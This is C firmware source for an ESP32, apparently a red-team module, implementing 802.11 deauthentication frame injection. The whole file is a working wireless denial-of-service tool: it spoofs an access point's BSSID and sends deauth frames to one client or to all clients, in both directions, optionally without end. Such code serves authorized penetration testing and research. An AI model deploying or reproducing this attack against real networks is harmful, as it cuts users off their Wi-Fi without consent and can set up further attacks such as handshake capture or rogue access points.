/*
 * rt_deauth.c
 * 802.11 deauthentication frame injection via esp_wifi_80211_tx().
 *
 * Sends deauth frames to disconnect clients from an AP.
 * Supports targeted (single client) and broadcast (all clients) modes.
 *
 * Uses rt_promisc for promiscuous mode management and rt_attack for
 * mutual exclusion with other offensive operations.
 */
#include "sdkconfig.h"

#ifdef CONFIG_MODULE_REDTEAM

#include <string.h>
#include <stdatomic.h>

#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_wifi.h"
#include "esp_log.h"

#include "rt_deauth.h"
#include "rt_promisc.h"
#include "rt_attack.h"

#define TAG "RT_DEAUTH"

/* ============================================================
 * 802.11 Deauth frame (26 bytes)
 * ============================================================
 *
 * Frame Control: 0x00C0  (type=0 mgmt, subtype=0xC deauth)
 * Duration:      0x0000
 * Addr1:         Destination (client or FF:FF:FF:FF:FF:FF)
 * Addr2:         Source (BSSID — we impersonate the AP)
 * Addr3:         BSSID
 * Seq Control:   0x0000 (auto-filled by driver if en_sys_seq=true)
 * Reason Code:   0x0007 (Class 3 frame from nonassociated STA)
 */
typedef struct __attribute__((packed)) {
    uint16_t frame_ctrl;
    uint16_t duration;
    uint8_t  addr1[6];   /* receiver */
    uint8_t  addr2[6];   /* transmitter (spoofed AP) */
    uint8_t  addr3[6];   /* BSSID */
    uint16_t seq_ctrl;
    uint16_t reason;
} deauth_frame_t;

_Static_assert(sizeof(deauth_frame_t) == 26, "deauth frame must be 26 bytes");

static const uint8_t BROADCAST_MAC[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};

/* Task state */
static TaskHandle_t s_task   = NULL;
static atomic_bool  s_active = ATOMIC_VAR_INIT(false);

/* Parameters passed to the task */
typedef struct {
    uint8_t  bssid[6];
    uint8_t  client[6];
    bool     broadcast;
    uint8_t  channel;
    uint32_t count;
    uint32_t delay_ms;
} deauth_params_t;

static deauth_params_t s_params;

/* ============================================================
 * Deauth task — runs on Core 1
 * ============================================================ */
static void deauth_task(void *arg)
{
    deauth_params_t *p = (deauth_params_t *)arg;

    /* Switch to target channel via the shared dispatcher */
    if (p->channel > 0 && p->channel <= 13) {
        rt_promisc_enable();
        rt_promisc_set_channel(p->channel);
    }

    /* Build the deauth frame */
    deauth_frame_t frame;
    memset(&frame, 0, sizeof(frame));
    frame.frame_ctrl = 0x00C0;  /* deauth */
    frame.reason     = 0x0007;  /* Class 3 frame from nonassociated STA */

    /* Addr2/Addr3 = BSSID (we pretend to be the AP) */
    memcpy(frame.addr2, p->bssid, 6);
    memcpy(frame.addr3, p->bssid, 6);

    /* Addr1 = target client or broadcast */
    if (p->broadcast) {
        memcpy(frame.addr1, BROADCAST_MAC, 6);
    } else {
        memcpy(frame.addr1, p->client, 6);
    }

    uint32_t delay = p->delay_ms ? p->delay_ms : 10;
    uint32_t sent  = 0;
    bool continuous = (p->count == 0);

    ESP_LOGI(TAG, "Deauth started: bssid=%02X:%02X:%02X:%02X:%02X:%02X "
             "target=%s ch=%d count=%s delay=%"PRIu32"ms",
             p->bssid[0], p->bssid[1], p->bssid[2],
             p->bssid[3], p->bssid[4], p->bssid[5],
             p->broadcast ? "broadcast" : "targeted",
             p->channel,
             continuous ? "infinite" : "finite",
             delay);

    while (atomic_load(&s_active)) {
        /* Send deauth from AP to client */
        esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);

        /* Also send deauth from client to AP (bidirectional) */
        if (!p->broadcast) {
            deauth_frame_t rev;
            memcpy(&rev, &frame, sizeof(rev));
            memcpy(rev.addr1, p->bssid, 6);   /* receiver = AP */
            memcpy(rev.addr2, p->client, 6);   /* transmitter = client */
            /* addr3 stays = BSSID */
            esp_wifi_80211_tx(WIFI_IF_STA, &rev, sizeof(rev), false);
        }

        sent++;

        if (!continuous && sent >= p->count) {
            break;
        }

        vTaskDelay(pdMS_TO_TICKS(delay));
    }

    ESP_LOGI(TAG, "Deauth stopped: %"PRIu32" frames sent", sent * (p->broadcast ? 1 : 2));

    rt_promisc_disable();
    rt_attack_stop();
    atomic_store(&s_active, false);
    s_task = NULL;
    vTaskDelete(NULL);
}

/* ============================================================
 * Public API
 * ============================================================ */

void rt_deauth_start(const uint8_t bssid[6],
                     const uint8_t *client,
                     uint8_t channel,
                     uint32_t count,
                     uint32_t delay_ms)
{
    if (atomic_load(&s_active)) {
        rt_deauth_stop();
        vTaskDelay(pdMS_TO_TICKS(100));
    }

    /* Acquire the attack lock */
    if (rt_attack_start(RT_ATTACK_DEAUTH) != ESP_OK) {
        ESP_LOGW(TAG, "Cannot start deauth: another attack is running (%s)",
                 rt_attack_name());
        return;
    }

    memcpy(s_params.bssid, bssid, 6);

    if (client == NULL || memcmp(client, BROADCAST_MAC, 6) == 0) {
        memcpy(s_params.client, BROADCAST_MAC, 6);
        s_params.broadcast = true;
    } else {
        memcpy(s_params.client, client, 6);
        s_params.broadcast = false;
    }

    s_params.channel  = channel;
    s_params.count    = count;
    s_params.delay_ms = delay_ms;

    atomic_store(&s_active, true);

    xTaskCreatePinnedToCore(
        deauth_task,
        "rt_deauth",
        4096,
        &s_params,
        6,
        &s_task,
        1   /* Core 1 */
    );
}

void rt_deauth_stop(void)
{
    atomic_store(&s_active, false);
    /* Task will self-delete and release the attack lock */
}

bool rt_deauth_is_active(void)
{
    return atomic_load(&s_active);
}

#endif /* CONFIG_MODULE_REDTEAM */